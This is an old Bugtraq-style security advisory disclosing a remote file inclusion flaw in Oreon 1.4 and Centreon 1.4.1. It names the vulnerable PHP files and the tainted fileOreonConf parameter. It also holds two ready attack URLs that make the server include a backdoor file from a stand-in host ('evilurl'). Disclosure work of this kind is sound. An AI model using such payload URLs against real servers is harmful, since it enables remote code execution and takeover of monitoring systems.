

Oreon/Centreon – Multiple Remote File Inclusion

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2007-12/msg00197.html>

- *From:* th3.r00k.nospam@xxxxxxxxxxxxxxxx
 - *Date:* 14 Dec 2007 22:06:19 -0000
-

By Michael Brooks

Vulnerability Type: Multiple Remote File Inclusion.

Software: Oreon and Centreon

Homepage: <http://www.oreon-project.org/> or <http://www.centreon.com/>

Versions: 1.4(Oreon) and 1.4.1(Centreon)

The vulnerable file is:

`./oreon-1.4/www/include/monitoring/engine/MakeXML.php`

Another, virtually identical RFI:

`./oreon-1.4/www/include/monitoring/engine/MakeXML4statusCounter.php`

The attack:

<http://127.0.0.1/include/monitoring/engine/MakeXML.php?fileOreonConf=http://evilurl/backdoor.txt?>

or

<http://127.0.0.1/include/monitoring/engine/MakeXML4statusCounter.php?fileOreonConf=http://evilurl/backdoor.txt?>

file MakeXML.php line 42 & 43:

```
include_once($oreonPath . "www/oreon.conf.php");
```

```
include_once($oreonPath . "www/include/common/common-Func-ACL.php");
```

Oreon/Centreon – Multiple Remote File Inclusion

Register_globals isn't needed for the taint:

file MakeXML.php line 28:

```
if (isset($_GET["fileOreonConf"]))
```

```
$oreonPath = $_GET["fileOreonConf"];
```

However magic_quotes_gpc is require for LFI because you need a null byte.

Peace